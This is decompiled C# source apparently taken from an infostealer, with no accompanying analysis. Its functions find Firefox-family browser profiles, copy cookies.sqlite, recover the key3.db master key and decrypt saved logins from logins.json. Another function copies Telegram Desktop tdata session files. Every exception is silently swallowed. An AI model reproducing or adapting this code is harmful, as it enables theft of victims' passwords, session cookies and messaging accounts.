// Token: 0x0600009B RID: 155 RVA: 0x000066FC File Offset: 0x000048FC
public List <BrowserCookie> GetCookies(string profile)
{
List <BrowserCookie> list = new List <BrowserCookie>();
try
{
string text = Path.Combine(profile, "cookies.sqlite");
if (!File.Exists(text))
{
return(list);
}
SqlConnection sqlConnection = new SqlConnection(RecoveryHelper.CreateTempCopy(text));
sqlConnection.ReadTable("moz_cookies");
int i = 0;
while (i < sqlConnection.GetRowCount())
{
BrowserCookie browserCookie = null;
try
{
browserCookie = new BrowserCookie
{
Host = sqlConnection.GetValue(i, "host").Trim(),
Http = (sqlConnection.GetValue(i, "isSecure") == "1"),
Path = sqlConnection.GetValue(i, "path").Trim(),
Secure = (sqlConnection.GetValue(i, "isSecure") == "1"),
Expires = sqlConnection.GetValue(i, "expiry").Trim(),
Name = sqlConnection.GetValue(i, "name").Trim(),
Value = sqlConnection.GetValue(i, "value")
};
goto IL_118;
}
catch
{
goto IL_118;
}
goto IL_105;
IL_10D:
i++;
continue;
IL_105:
list.Add(browserCookie);
goto IL_10D;
IL_118:
if (browserCookie != null)
{
goto IL_105;
}
goto IL_10D;
}
}
catch (Exception)
{
}
return(list);
}
// Token: 0x0600009E RID: 158 RVA: 0x00006C8C File Offset: 0x00004E8C
private byte[] ExtractPrivateKey3(string file)
{
byte[] array = new byte[24];
try
{
if (!File.Exists(file))
{
return(array);
}
new DataTable();
GeckoDatabase geckoDatabase = new GeckoDatabase(file);
GeckoDatabase arg_45_1 = geckoDatabase;
Func <string, bool> arg_45_2;
if ((arg_45_2 = GeckoManager.< > c.< > 9__5_0) == null)
{
arg_45_2 = (GeckoManager.< > c.< > 9__5_0 = new Func <string, bool>(GeckoManager.< > c.< > 9. < ExtractPrivateKey3 > b__5_0));
}
DataParser dataParser = new DataParser(this.FindValueByKey(arg_45_1, arg_45_2));
GeckoDatabase arg_71_1 = geckoDatabase;
Func <string, bool> arg_71_2;
if ((arg_71_2 = GeckoManager.< > c.< > 9__5_1) == null)
{
arg_71_2 = (GeckoManager.< > c.< > 9__5_1 = new Func <string, bool>(GeckoManager.< > c.< > 9. < ExtractPrivateKey3 > b__5_1));
}
string expr_76 = this.FindValueByKey(arg_71_1, arg_71_2);
GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(RecoveryHelper.ConvertHexStringToByteArray(expr_76), Encoding.Default.GetBytes(string.Empty), RecoveryHelper.ConvertHexStringToByteArray(dataParser.EntrySalt));
geckoPasswordBasedEncryption.Calculate();
CrytoServiceProvider.Decode(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, RecoveryHelper.ConvertHexStringToByteArray(dataParser.Passwordcheck), PaddingMode.None);
GeckoDatabase arg_E5_1 = geckoDatabase;
Func <string, bool> arg_E5_2;
if ((arg_E5_2 = GeckoManager.< > c.< > 9__5_2) == null)
{
arg_E5_2 = (GeckoManager.< > c.< > 9__5_2 = new Func <string, bool>(GeckoManager.< > c.< > 9. < ExtractPrivateKey3 > b__5_2));
}
Asn1Object asn1Object = Asn1Factory.Create(RecoveryHelper.ConvertHexStringToByteArray(this.FindValueByKey(arg_E5_1, arg_E5_2)));
GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(RecoveryHelper.ConvertHexStringToByteArray(expr_76), Encoding.Default.GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
geckoPasswordBasedEncryption2.Calculate();
Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(CrytoServiceProvider.Decode(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24)
{
Array.Copy(asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
}
else
{
array = asn1Object2.Objects[0].Objects[3].ObjectData;
}
}
catch (Exception)
{
}
return(array);
}
// Token: 0x0600009A RID: 154 RVA: 0x00006668 File Offset: 0x00004868
public List <BrowserCredendtial> GetCredentials(string profile)
{
List <BrowserCredendtial> list = new List <BrowserCredendtial>();
try
{
if (File.Exists(Path.Combine(profile, "key3.db")))
{
list.AddRange(this.GetLogins(profile, this.ExtractPrivateKey3(RecoveryHelper.CreateTempCopy(Path.Combine(profile, "key3.db")))));
}
if (File.Exists(Path.Combine(profile, "key4.db")))
{
list.AddRange(this.GetLogins(profile, this.ExtractPrivateKey4(RecoveryHelper.CreateTempCopy(Path.Combine(profile, "key4.db")))));
}
}
catch (Exception)
{
}
return(list);
}
// Token: 0x060000AC RID: 172 RVA: 0x00007180 File Offset: 0x00005380
public static TelegramSession Extract()
{
TelegramSession telegramSession = new TelegramSession();
try
{
string path = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata");
string path2 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata\\D877F783D5D3EF8C");
if (!Directory.Exists(path) || !Directory.Exists(path2))
{
return(telegramSession);
}
string[] files = Directory.GetFiles(path, "D877F783D5D3EF8C*");
if (files.Length != 0)
{
byte[] fileData = File.ReadAllBytes(RecoveryHelper.CreateTempCopy(files[0]));
string[] files2 = Directory.GetFiles(path2, "map*");
if (files2.Length != 0)
{
byte[] fileData2 = File.ReadAllBytes(RecoveryHelper.CreateTempCopy(files[0]));
telegramSession.MapFile = new DesktopFile
{
FileData = fileData2,
Filename = new FileInfo(files2[0]).Name
};
telegramSession.RootFile = new DesktopFile
{
FileData = fileData,
Filename = new FileInfo(files[0]).Name
};
}
}
}
catch (Exception)
{
}
return(telegramSession);
}
// Token: 0x0600009C RID: 156 RVA: 0x00006864 File Offset: 0x00004A64
public List <BrowserCredendtial> GetLogins(string profile, byte[] privateKey)
{
List <BrowserCredendtial> list = new List <BrowserCredendtial>();
try
{
string path = RecoveryHelper.CreateTempCopy(Path.Combine(profile, "logins.json"));
if (!File.Exists(path))
{
return(list);
}
GeckoLogin[] logins = File.ReadAllText(path).FromJSON <GeckoRootEntry>().logins;
for (int i = 0; i < logins.Length; i++)
{
GeckoLogin geckoLogin = logins[i];
Asn1Object asn1Object = Asn1Factory.Create(Convert.FromBase64String(geckoLogin.encryptedUsername));
Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(geckoLogin.encryptedPassword));
string text = Regex.Replace(CrytoServiceProvider.Decode(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
string text2 = Regex.Replace(CrytoServiceProvider.Decode(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
BrowserCredendtial browserCredendtial = new BrowserCredendtial
{
URL = (string.IsNullOrEmpty(geckoLogin.hostname) ? "UNKNOWN" : geckoLogin.hostname),
Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
};
if (browserCredendtial.Login != "UNKNOWN" && browserCredendtial.Password != "UNKNOWN" && browserCredendtial.URL != "UNKNOWN")
{
list.Add(browserCredendtial);
}
}
}
catch (Exception)
{
}
return(list);
}
// Token: 0x06000099 RID: 153 RVA: 0x00006480 File Offset: 0x00004680
public List <BrowserProfile> GetAll()
{
List <BrowserProfile> list = new List <BrowserProfile>();
try
{
List <string> list2 = new List <string>();
list2.AddRange(RecoveryHelper.FindPaths(ConstantStorage.LocalAppData, 4, 1, new string[]
{
"key3.db",
"key4.db",
"cookies.sqlite",
"logins.json"
}));
list2.AddRange(RecoveryHelper.FindPaths(ConstantStorage.RoamingAppData, 4, 1, new string[]
{
"key3.db",
"key4.db",
"cookies.sqlite",
"logins.json"
}));
foreach (string expr_90 in list2)
{
string fullName = new FileInfo(expr_90).Directory.FullName;
string text = expr_90.Contains(ConstantStorage.RoamingAppData) ? this.ParseRoamingBrowserName(fullName) : this.ParseLocalBrowserName(fullName);
if (!string.IsNullOrEmpty(text))
{
BrowserProfile browserProfile = new BrowserProfile
{
Name = text,
Profile = new DirectoryInfo(fullName).Name,
BrowserCookies = new List <BrowserCookie>(this.GetCookies(fullName)).IsNull <List <BrowserCookie> >(),
BrowserCredendtials = new List <BrowserCredendtial>(this.GetCredentials(fullName).IsNull <List <BrowserCredendtial> >()).IsNull <List <BrowserCredendtial> >()
};
IEnumerable <BrowserCookie> arg_144_0 = browserProfile.BrowserCookies;
Predicate <BrowserCookie> arg_144_1;
if ((arg_144_1 = GeckoManager.< > c.< > 9__0_0) == null)
{
arg_144_1 = (GeckoManager.< > c.< > 9__0_0 = new Predicate <BrowserCookie>(GeckoManager.< > c.< > 9. < GetAll > b__0_0));
}
if (arg_144_0.Count(arg_144_1) <= 0)
{
IEnumerable <BrowserCredendtial> arg_172_0 = browserProfile.BrowserCredendtials;
Predicate <BrowserCredendtial> arg_172_1;
if ((arg_172_1 = GeckoManager.< > c.< > 9__0_1) == null)
{
arg_172_1 = (GeckoManager.< > c.< > 9__0_1 = new Predicate <BrowserCredendtial>(GeckoManager.< > c.< > 9. < GetAll > b__0_1));
}
if (arg_172_0.Count(arg_172_1) <= 0)
{
continue;
}
}
list.Add(browserProfile);
}
}
}
catch (Exception)
{
}
return(list);
}
